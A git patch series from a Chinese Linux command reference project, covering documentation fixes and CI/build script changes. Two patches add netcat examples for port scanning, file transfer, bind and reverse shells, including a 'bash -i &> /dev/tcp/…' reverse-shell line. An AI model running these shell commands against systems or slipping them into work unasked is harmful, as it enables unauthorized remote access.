From a09742f324bc3dae0406b70b381c44756a4fc7a8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Mon, 22 Aug 2022 23:09:28 +0800 Subject: [PATCH 001/570] Update `sar.md` (#405) --- command/sar.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/command/sar.md b/command/sar.md index bcee24f3558..bb0858c760c 100644 --- a/command/sar.md +++ b/command/sar.md @@ -24,6 +24,7 @@ sar(选项)(参数) -e：设置显示报告的结束时间； -f：从指定文件提取报告； -i：设状态信息刷新的间隔时间； +-n: 报告网络统计信息。 -P：报告每个CPU的状态； -R：显示内存状态； -u：显示CPU利用率； @@ -65,4 +66,11 @@ kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间， sar -o temp 60 10 ``` +**显示保存在每日数据文件“sa16”中的内存和网络统计信息。** + +```shell +sar -r -n DEV -f /var/log/sa/sa16 +``` + + From 01ceb77407d80e123027eaeb7ec6b35ea2951df7 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 22 Aug 2022 23:13:29 +0800 Subject: [PATCH 002/570] chore: update workflows config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 77759e6616e..01a3696ce8e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -6,7 +6,7 @@ on: jobs: build-deploy: - runs-on: ubuntu-18.04 + runs-on: ubuntu-20.04 steps: - uses: actions/checkout@v2 - uses: actions/setup-node@v2 From 6acbdf644d14814be17750071a21b8ff36036499 Mon Sep 17 00:00:00 2001 From: Frankie <1426203851@qq.com> Date: Thu, 25 Aug 2022 17:39:12 +0800 Subject: [PATCH 003/570] =?UTF-8?q?docs:=20Update=20`expr.md`=20=E6=9B=B4?= =?UTF-8?q?=E6=AD=A3=E6=96=87=E6=9C=AC=20(#406)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/expr.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/expr.md b/command/expr.md index 3240bce1e9d..78cf62d9a70 100644 --- a/command/expr.md +++ b/command/expr.md @@ -13,7 +13,7 @@ expr的常用运算符： - 减法运算：`-` - 乘法运算：`\*` - 除法运算：`/` -- 求摸（取余）运算：`%` +- 取模（取余）运算：`%` ### 语法 From ea631fe642f1926b649a2468438b40651ed3be07 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Tue, 30 Aug 2022 13:07:47 +0800 Subject: [PATCH 004/570] =?UTF-8?q?=E4=BF=AE=E6=AD=A3=20`ip`=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E9=83=A8=E5=88=86=E8=A7=A3=E9=87=8A=20(#408)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/ip.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/command/ip.md b/command/ip.md index 01f2e99060e..a4112e81d1a 100644 --- a/command/ip.md +++ b/command/ip.md @@ -10,12 +10,12 @@ ip ### 语法 ```shell -ip(选项)(参数) +ip(选项)(对象) Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } ip [ -force ] -batch filename ``` -### 选项 +### 对象 ```shell OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | @@ -31,7 +31,7 @@ OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | -r：显示主机时，不使用IP地址，而使用主机的域名。 ``` -### 参数 +### 选项 ```shell OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | @@ -50,16 +50,16 @@ help：显示网络对象支持的操作命令的帮助信息。 ### 实例 ```shell -ip link show # 显示网络接口信息 +ip link show # 显示网络接口信息 ip link set eth0 up # 开启网卡 ip link set eth0 down # 关闭网卡 ip link set eth0 promisc on # 开启网卡的混合模式 -ip link set eth0 promisc offi # 关闭网卡的混个模式 +ip link set eth0 promisc offi # 关闭网卡的混合模式 ip link set eth0 txqueuelen 1200 # 设置网卡队列长度 ip link set eth0 mtu 1400 # 设置网卡最大传输单元 ip addr show # 显示网卡IP信息 -ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1 -ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址 +ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1 +ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1 ip route show # 显示系统路由 ip route add default via 192.168.1.254 # 设置系统默认路由 From 538ca0284a9f71c164575c12a954119a74816ec8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 13:39:40 +0800 Subject: [PATCH 005/570] chore: update workflows config. --- .github/workflows/ci.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 01a3696ce8e..5030193561c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -8,8 +8,8 @@ jobs: build-deploy: runs-on: ubuntu-20.04 steps: - - uses: actions/checkout@v2 - - uses: actions/setup-node@v2 + - uses: actions/checkout@v3 + - uses: actions/setup-node@v3 with: node-version: 16 @@ -21,7 +21,7 @@ jobs: - run: npm install - run: npm run build - - run: node build/dash.js + - run: node run dash - name: Compress linux-command.docset. run: zip -r -y linux-command.docset.zip . -x "node_modules/*" From cb7539daef496aba25a292753591798684c5ab1d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 13:51:03 +0800 Subject: [PATCH 006/570] chore: modify dash.js -> dash.mjs --- build/{dash.js => dash.mjs} | 15 ++++++++++----- package.json | 2 +- 2 files changed, 11 insertions(+), 6 deletions(-) rename build/{dash.js => dash.mjs} (91%) diff --git a/build/dash.js b/build/dash.mjs similarity index 91% rename from build/dash.js rename to build/dash.mjs index 986235dd507..ab6c197d9c5 100644 --- a/build/dash.js +++ b/build/dash.mjs @@ -1,8 +1,13 @@ -const fs = require('fs-extra'); -const { resolve: pathResolve, join: pathJoin } = require('path'); -const sqlite3 = require('sqlite3'); -const archiver = require('archiver'); -const pkg = require('../package.json'); +import fs from 'fs-extra'; +import path from 'path'; +import { resolve as pathResolve, join as pathJoin } from 'path'; +import sqlite3 from 'sqlite3'; +import archiver from 'archiver'; +import {fileURLToPath} from 'url'; + +const __filename = fileURLToPath(import.meta.url); +const __dirname = path.dirname(__filename); +const pkg = fs.readJSONSync(pathResolve(__dirname, '../package.json')); const DATA_DIR = pathResolve(__dirname, '../assets/'); const INDEX_JSON_PATH = pathResolve(__dirname, '../dist/data.json'); diff --git a/package.json b/package.json index 9cf84a157ef..fc23f31ef5a 100644 --- a/package.json +++ b/package.json @@ -7,7 +7,7 @@ "scripts": { "start": "npm run build", "build": "node build/build.mjs", - "dash": "npm run build && node build/dash.js" + "dash": "npm run build && node build/dash.mjs" }, "files": [ "command", From 3820b99ee9734b4e5299563e17d6db52bae30513 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 13:55:14 +0800 Subject: [PATCH 007/570] chore: update workflows config. --- .github/workflows/ci.yml | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 5030193561c..d38dc7f3d3c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -13,12 +13,8 @@ jobs: with: node-version: 16 - - name: Generate Contributors Images - uses: jaywcjlove/github-action-contributors@main - with: - filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - avatarSize: 42 - + - run: npm -v + - run: node -v - run: npm install - run: npm run build - run: node run dash @@ -29,6 +25,13 @@ jobs: - run: cp -rp .deploy/linux-command.docset/linux-command.docset.zip ./ - run: rm -rf .deploy/linux-command.docset + + - name: Generate Contributors Images + uses: jaywcjlove/github-action-contributors@main + with: + filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + avatarSize: 42 + - run: cp CONTRIBUTORS.svg .deploy - name: Create Tag From 6c0c9b798163b850538e50de06e067921120960b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 14:14:37 +0800 Subject: [PATCH 008/570] chore: rename build => scripts --- package.json | 6 +++--- {build => scripts}/build.mjs | 0 {build => scripts}/dash.mjs | 0 {build => scripts}/sitemap.js | 0 4 files changed, 3 insertions(+), 3 deletions(-) rename {build => scripts}/build.mjs (100%) rename {build => scripts}/dash.mjs (100%) rename {build => scripts}/sitemap.js (100%) diff --git a/package.json b/package.json index fc23f31ef5a..0f6a09746b7 100644 --- a/package.json +++ b/package.json @@ -6,8 +6,8 @@ "main": "dist/data.json", "scripts": { "start": "npm run build", - "build": "node build/build.mjs", - "dash": "npm run build && node build/dash.mjs" + "build": "node scripts/build.mjs", + "dash": "npm run build && node scripts/dash.mjs" }, "files": [ "command", @@ -38,6 +38,6 @@ "uglify-js": "~3.16.0" }, "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + "node": ">=16.0.0" } } diff --git a/build/build.mjs b/scripts/build.mjs similarity index 100% rename from build/build.mjs rename to scripts/build.mjs diff --git a/build/dash.mjs b/scripts/dash.mjs similarity index 100% rename from build/dash.mjs rename to scripts/dash.mjs diff --git a/build/sitemap.js b/scripts/sitemap.js similarity index 100% rename from build/sitemap.js rename to scripts/sitemap.js From ff590e75707ab7dda2108d785390cf3542d819d6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 14:19:24 +0800 Subject: [PATCH 009/570] chore: update workflows config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d38dc7f3d3c..0500ca3ee7f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -17,7 +17,7 @@ jobs: - run: node -v - run: npm install - run: npm run build - - run: node run dash + - run: npm run dash - name: Compress linux-command.docset. run: zip -r -y linux-command.docset.zip . -x "node_modules/*" From 248fadc2b4e7179d9da4e9b5c10f0d2b72ae203f Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Tue, 30 Aug 2022 14:20:34 +0800 Subject: [PATCH 010/570] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20nc=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E7=94=A8=E4=BE=8B=20(#409)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 修改107行的g全局作用 g不应该是匹配每一行的第一个匹配项，而是每一行的所有匹配项 * 增加修改用户家目录的选项以及实例 增加修改用户家目录的选项以及实例 * 添加fping新命令 * Update fping.md * updat find.md * 修改错别字 * 更新sed使用方法 * 修改ip命令部分解释 * 添加nc用法 * modify nc Co-authored-by: lutixiaya <13657216957@163.com> Co-authored-by: 小弟调调™ <398188662@qq.com> --- command/nc.md | 50 +++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 47 insertions(+), 3 deletions(-) diff --git a/command/nc.md b/command/nc.md index 811164168e7..016e9a53f4f 100644 --- a/command/nc.md +++ b/command/nc.md @@ -35,7 +35,7 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 ### 实例 -TCP端口扫描 +**TCP端口扫描** ```shell [root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100 @@ -46,13 +46,13 @@ TCP端口扫描 ``` 扫描192.168.0.3 的端口 范围是 1-100 -扫描UDP端口 +**扫描UDP端口** ```shell [root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 ``` -扫描指定端口 +**扫描指定端口** ```shell [root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口 @@ -68,5 +68,49 @@ nc -vz acme-v02.api.letsencrypt.org 443 -w2 # Ncat: Connected to 23.77.214.183:443. # Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds. ``` +**文件传输** +```shell +# 接收方提前设置监听端口与要接收的文件名（文件名可自定义）： +nc -lp 8888 > node.tar.gz + +# 传输方发文件： +nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz + +注意：192.168.75.121是接收方的ip地址。 +``` + +```shell +# 如果希望文件传输结束后自动退出，可以使用下面的命令： +nc -lp 8888 > node.tar.gz +nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz + +注意：-i 表示闲置超时时间 +``` + +**远程控制** +```shell +# 正向控制，被控端主动设置监听端口及bash环境，控制端连接，如果有防火墙，需开放端口，否则会被拦截。 +# 被控制端执行下面的命令： +nc -lvnp 8888 -c bash +# 控制端执行下面的命令： +nc 192.168.75.121 8888 +``` + +```shell +# 反向控制，控制端设置监听端口，被控端主动连接控制端的ip及端口，并提供bash环境。 +# 控制端执行下面的命令： +nc -lvnp 8888 +# 被控制端执行下面的命令： +nc 192.168.75.121 8888 -c bash +``` + +**反弹shell** +```shell +# 控制端执行下面的命令： +nc -lvnp 8888 + +# 被控端执行下面的命令: +bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 +``` From 8a152e33e5a8600066373f5d2ba57affd313c26c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Tue, 30 Aug 2022 14:25:22 +0800 Subject: [PATCH 011/570] Update nc.md (#409) --- command/nc.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/command/nc.md b/command/nc.md index 016e9a53f4f..64a8ee517fd 100644 --- a/command/nc.md +++ b/command/nc.md @@ -76,19 +76,18 @@ nc -lp 8888 > node.tar.gz # 传输方发文件： nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz - -注意：192.168.75.121是接收方的ip地址。 +# ⚠️ 注意：192.168.75.121是接收方的ip地址。 ``` ```shell # 如果希望文件传输结束后自动退出，可以使用下面的命令： nc -lp 8888 > node.tar.gz nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz - -注意：-i 表示闲置超时时间 +# ⚠️ 注意：-i 表示闲置超时时间 ``` **远程控制** + ```shell # 正向控制，被控端主动设置监听端口及bash环境，控制端连接，如果有防火墙，需开放端口，否则会被拦截。 # 被控制端执行下面的命令： @@ -106,10 +105,13 @@ nc 192.168.75.121 8888 -c bash ``` **反弹shell** + ```shell # 控制端执行下面的命令： nc -lvnp 8888 +``` +``` # 被控端执行下面的命令: bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 ``` From 8061086f1e41e767207be3f0b8fa0048bc0ef835 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 15:07:33 +0800 Subject: [PATCH 012/570] released v1.11.1 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 0f6a09746b7..22bd6056ab8 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.11.0", + "version": "1.11.1", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From f75d1cb0947f6b4fe629104c9369148901c324b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=AD=A4=E5=9F=8E=E8=90=BD=E5=AF=9E?= Date: Tue, 30 Aug 2022 16:26:19 +0800 Subject: [PATCH 013/570] =?UTF-8?q?feat:=20zip=20=E5=8F=98=E6=9B=B4=20tgz,?= =?UTF-8?q?=20=E6=96=B0=E5=A2=9E=20dash=20feed=20(#411)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/ci.yml | 41 +++++++++++++++----------------- package.json | 2 +- scripts/dash.mjs | 50 +++++++--------------------------------- 3 files changed, 28 insertions(+), 65 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0500ca3ee7f..32e7413ed4a 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -13,26 +13,18 @@ jobs: with: node-version: 16 - - run: npm -v - - run: node -v - - run: npm install - - run: npm run build - - run: npm run dash - - - name: Compress linux-command.docset. - run: zip -r -y linux-command.docset.zip . -x "node_modules/*" - working-directory: .deploy/linux-command.docset - - run: cp -rp .deploy/linux-command.docset/linux-command.docset.zip ./ - - - run: rm -rf .deploy/linux-command.docset - - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) avatarSize: 42 - - run: cp CONTRIBUTORS.svg .deploy + - name: Build Linux Command + run: | + npm install + npm run dash + cp CONTRIBUTORS.svg .deploy + rm -rf .deploy/linux-command.docset - name: Create Tag id: create_tag @@ -40,10 +32,14 @@ jobs: with: package-path: ./package.json - - name: get tag version + - name: Get Tag Version id: tag_version uses: jaywcjlove/changelog-generator@v1.5.3 + - name: Update Dash Feed + run: | + echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml + - name: Deploy uses: peaceiris/actions-gh-pages@v3 with: @@ -64,7 +60,7 @@ jobs: uses: ncipollo/release-action@v1 if: steps.create_tag.outputs.successful with: - artifacts: 'linux-command.docset.zip' + artifacts: 'linux-command.docset.tgz' token: ${{ secrets.GITHUB_TOKEN }} name: ${{ steps.create_tag.outputs.version }} tag: ${{ steps.create_tag.outputs.version }} @@ -106,18 +102,19 @@ jobs: http://localhost:9665/ ``` - - - run: npm install @jsdevtools/npm-publish -g - - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json - - - run: rm -rf .deploy/linux-command.docset.zip + - name: Push Npm + run: | + npm install @jsdevtools/npm-publish -g + npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json # Create Docker Image - name: Docker login run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} - name: Build linux-command image - run: docker image build -t linux-command . + run: | + rm -rf .deploy/linux-command.docset.tgz + docker image build -t linux-command . - name: Tags & Push image(latest) run: | diff --git a/package.json b/package.json index 22bd6056ab8..fba5fe4949c 100644 --- a/package.json +++ b/package.json @@ -27,9 +27,9 @@ "devDependencies": { "@uiw/github-corners": "~1.5.11", "@wcj/dark-mode": "~1.0.14", - "archiver": "~5.3.0", "colors-cli": "~1.0.28", "ejs": "~3.1.6", + "compressing": "^1.6.2", "fs-extra": "~10.1.0", "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", diff --git a/scripts/dash.mjs b/scripts/dash.mjs index ab6c197d9c5..5c41ec183f5 100644 --- a/scripts/dash.mjs +++ b/scripts/dash.mjs @@ -2,7 +2,8 @@ import fs from 'fs-extra'; import path from 'path'; import { resolve as pathResolve, join as pathJoin } from 'path'; import sqlite3 from 'sqlite3'; -import archiver from 'archiver'; +import {tgz} from 'compressing'; +import { spawn } from 'child_process'; import {fileURLToPath} from 'url'; const __filename = fileURLToPath(import.meta.url); @@ -103,45 +104,6 @@ async function buildApi(dbPath) { await createDatabase(arr, dbPath); } -function compressing() { - new Promise((resolve, reject) => { - const outputPaht = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.zip'); - // create a file to stream archive data to. - const output = fs.createWriteStream(outputPaht); - const archive = archiver('zip', { - zlib: { level: 9 } // Sets the compression level. - }); - - // listen for all archive data to be written - // 'close' event is fired only when a file descriptor is involved - output.on('close', () => { - console.log(archive.pointer() + ' total bytes'); - console.log('archiver has been finalized and the output file descriptor has closed.'); - resolve(); - }); - - // good practice to catch warnings (ie stat failures and other non-blocking errors) - archive.on('warning', (err) => { - if (err.code === 'ENOENT') { - console.log('warning:::', err) - // log warning - } else { - // throw error - throw err; - } - }); - - // good practice to catch this error explicitly - archive.on('error', function(err) { - reject(err); - }); - - // pipe archive data to the file - archive.pipe(output); - archive.directory(pathJoin(process.cwd(), '.deploy', 'linux-command.docset'), false); - archive.finalize(); - }) -} async function build() { console.log(`mkdir -p ${RESOURCES_DIR}`); @@ -154,8 +116,12 @@ async function build() { console.info('build documents'); await buildApi(DB_PATH); - console.info('compressing zip'); - await compressing(); + console.info('compressing tgz'); + // https://github.com/node-modules/compressing/issues/42 建议最好休眠15s，等待其余资源复制完毕 + spawn("sleep", ['15']) + const tgzPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset'); + const outputPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.tgz'); + await tgz.compressDir(tgzPath, outputPath); } build() From 65f29f66a0a9bac67c70bb4e994296a05630588d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 16:32:06 +0800 Subject: [PATCH 014/570] released v1.11.2 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index fba5fe4949c..8ad295813b5 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.11.1", + "version": "1.11.2", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From ad6b52163a0234c0479cd0d5251f9c51c1eca92d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 16:55:11 +0800 Subject: [PATCH 015/570] chore: udpate workflows config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 32e7413ed4a..c6d7c48564c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -60,7 +60,7 @@ jobs: uses: ncipollo/release-action@v1 if: steps.create_tag.outputs.successful with: - artifacts: 'linux-command.docset.tgz' + artifacts: '.deploy/linux-command.docset.tgz' token: ${{ secrets.GITHUB_TOKEN }} name: ${{ steps.create_tag.outputs.version }} tag: ${{ steps.create_tag.outputs.version }} From 6beddcc572c74842e5fddde507b2af44d0df9f3c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 17:35:39 +0800 Subject: [PATCH 016/570] chore: update `scripts/dash.mjs` (#412) --- scripts/dash.mjs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/scripts/dash.mjs b/scripts/dash.mjs index 5c41ec183f5..fc518caa074 100644 --- a/scripts/dash.mjs +++ b/scripts/dash.mjs @@ -119,9 +119,8 @@ async function build() { console.info('compressing tgz'); // https://github.com/node-modules/compressing/issues/42 建议最好休眠15s，等待其余资源复制完毕 spawn("sleep", ['15']) - const tgzPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset'); const outputPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.tgz'); - await tgz.compressDir(tgzPath, outputPath); + await tgz.compressDir(DOCSET_DIR, outputPath); } build() From 2bab2442113128492cce77117efcabd0472a66c3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 5 Sep 2022 10:54:08 +0800 Subject: [PATCH 017/570] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4d157217407..5f12db0a61a 100644 --- a/README.md +++ b/README.md @@ -93,7 +93,7 @@ ### Dash 版本 -由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.zip](https://jaywcjlove.github.io/linux-command/linux-command.docset.zip) 文件解压，点击安装即可。 +由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件解压，点击安装即可。
From bbd6994a1d04b55cde43c176be5286ca3198e63c Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Mon, 5 Sep 2022 17:28:48 +0800 Subject: [PATCH 018/570] Update join.md (#414) --- command/join.md | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/command/join.md b/command/join.md index 0ff56651e39..b7a3aa422a0 100644 --- a/command/join.md +++ b/command/join.md @@ -31,4 +31,29 @@ join(选项)(参数) * 文件1：要进行合并操作的第1个文件参数； * 文件2：要进行合并操作的第2个文件参数。 - +### 常见用法 +把两个文件制定栏位内容相同的行连接起来： +```shell +[root@localhost ~]# cat name +1 xiaoming +2 xiaowang +3 xiaoliu +[root@localhost ~]# cat city +1 beijing beijing +2 hubei wuhan +3 hunan changsha + +# city文件在后，则拼接在后，如果city文件在前，则name文件拼接在后。 +[root@localhost ~]# join name city +1 xiaoming beijing beijing +2 xiaowang hubei wuhan +3 xiaoliu hunan changsha +``` +把两个文件指定列拼接起来： +```shell +# 把name文件的第2列和city文件的第3列拼接起来 +[root@localhost ~]# join -o 1.2 2.3 name city +xiaoming beijing +xiaowang wuhan +xiaoliu changsha +``` From 38e2b3dc579fb1fc8230eb29f437c92b990801d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Mon, 5 Sep 2022 17:29:40 +0800 Subject: [PATCH 019/570] Update join.md (#414) --- command/join.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/command/join.md b/command/join.md index b7a3aa422a0..50fdccdadd4 100644 --- a/command/join.md +++ b/command/join.md @@ -32,7 +32,9 @@ join(选项)(参数) * 文件2：要进行合并操作的第2个文件参数。 ### 常见用法 + 把两个文件制定栏位内容相同的行连接起来： + ```shell [root@localhost ~]# cat name 1 xiaoming @@ -49,7 +51,9 @@ join(选项)(参数) 2 xiaowang hubei wuhan 3 xiaoliu hunan changsha ``` + 把两个文件指定列拼接起来： + ```shell # 把name文件的第2列和city文件的第3列拼接起来 [root@localhost ~]# join -o 1.2 2.3 name city From d321536f586f57be39e6306fc4a96d161b1463d6 Mon Sep 17 00:00:00 2001 From: Herbert8 Date: Wed, 7 Sep 2022 22:05:00 +0800 Subject: [PATCH 020/570] =?UTF-8?q?Update=20zcat.md=20=E5=B0=86=E2=80=9C?= =?UTF-8?q?=E6=A0=87=E6=B3=A8=E2=80=9D=E6=94=B9=E4=B8=BA=E2=80=9C=E6=A0=87?= =?UTF-8?q?=E5=87=86=E2=80=9D=E3=80=82=20(#417)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/zcat.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/zcat.md b/command/zcat.md index 070127192cc..290b22fecca 100644 --- a/command/zcat.md +++ b/command/zcat.md @@ -17,7 +17,7 @@ zcat(选项)(参数) ```shell -S：指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项； --c：将文件内容写到标注输出； +-c：将文件内容写到标准输出； -d：执行解压缩操作； -l：显示压缩包中文件的列表； -L：显示软件许可信息； From bb830bc4cbd3eeaf03a007a86a0a5c839a5d6347 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 8 Sep 2022 20:11:53 +0800 Subject: [PATCH 021/570] Update gcc.md (#418) --- command/gcc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/gcc.md b/command/gcc.md index 80b0862f0e2..fac6b762c62 100644 --- a/command/gcc.md +++ b/command/gcc.md @@ -110,7 +110,7 @@ gcc testfun.c test.c -o test ```shell gcc -c testfun.c #将testfun.c编译成testfun.o gcc -c test.c #将test.c编译成test.o -gcc -o testfun.o test.o -o test #将testfun.o和test.o链接成test +gcc testfun.o test.o -o test #将testfun.o和test.o链接成test ``` 以上两种方法相比较，第一中方法编译时需要所有文件重新编译，而第二种方法可以只重新编译修改的文件，未修改的文件不用重新编译。 From 76ebd2748a3fc181ac68b4a31eb97289e9bf6e0d Mon Sep 17 00:00:00 2001 From: lavaicer <52038323+lavaicer@users.noreply.github.com> Date: Sat, 10 Sep 2022 23:46:08 +0800 Subject: [PATCH 022/570] add xrandr.md (#419) --- command/xrandr.md | 71 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 command/xrandr.md diff --git a/command/xrandr.md b/command/xrandr.md new file mode 100644 index 00000000000..b579980f577 --- /dev/null +++ b/command/xrandr.md @@ -0,0 +1,71 @@ +xrandr +=== + +X 窗口系统配置管理工具 + +## 补充说明 + +**xrandr命令**RandR（Rotate and Resize，旋转与缩放）是一个X窗口系统扩展，允许客户端动态调整（即缩放、旋转、翻转）屏幕。xrandr是一款官方的randr扩展配置工具。 + +### 语法 + +```shell +xrandr(选项)(参数) +``` + +### 选项 + +```shell +--auto #以系统最大分辨率输出 +--off #指定设备设置为关闭 +--output #输出设备 +--mode #设置分辨率 +--rate #设置刷新率 +--right-of #主显示器右侧 +--left-of #主显示器左侧 +--above #主显示器上方 +--below #主显示器下方 +``` + +### 参数 + +* 显示设备编号 + +### 实例 + +测试配置，列出可用设备及其信息 + +```shell +xrandr +Screen 0: minimum 320 x 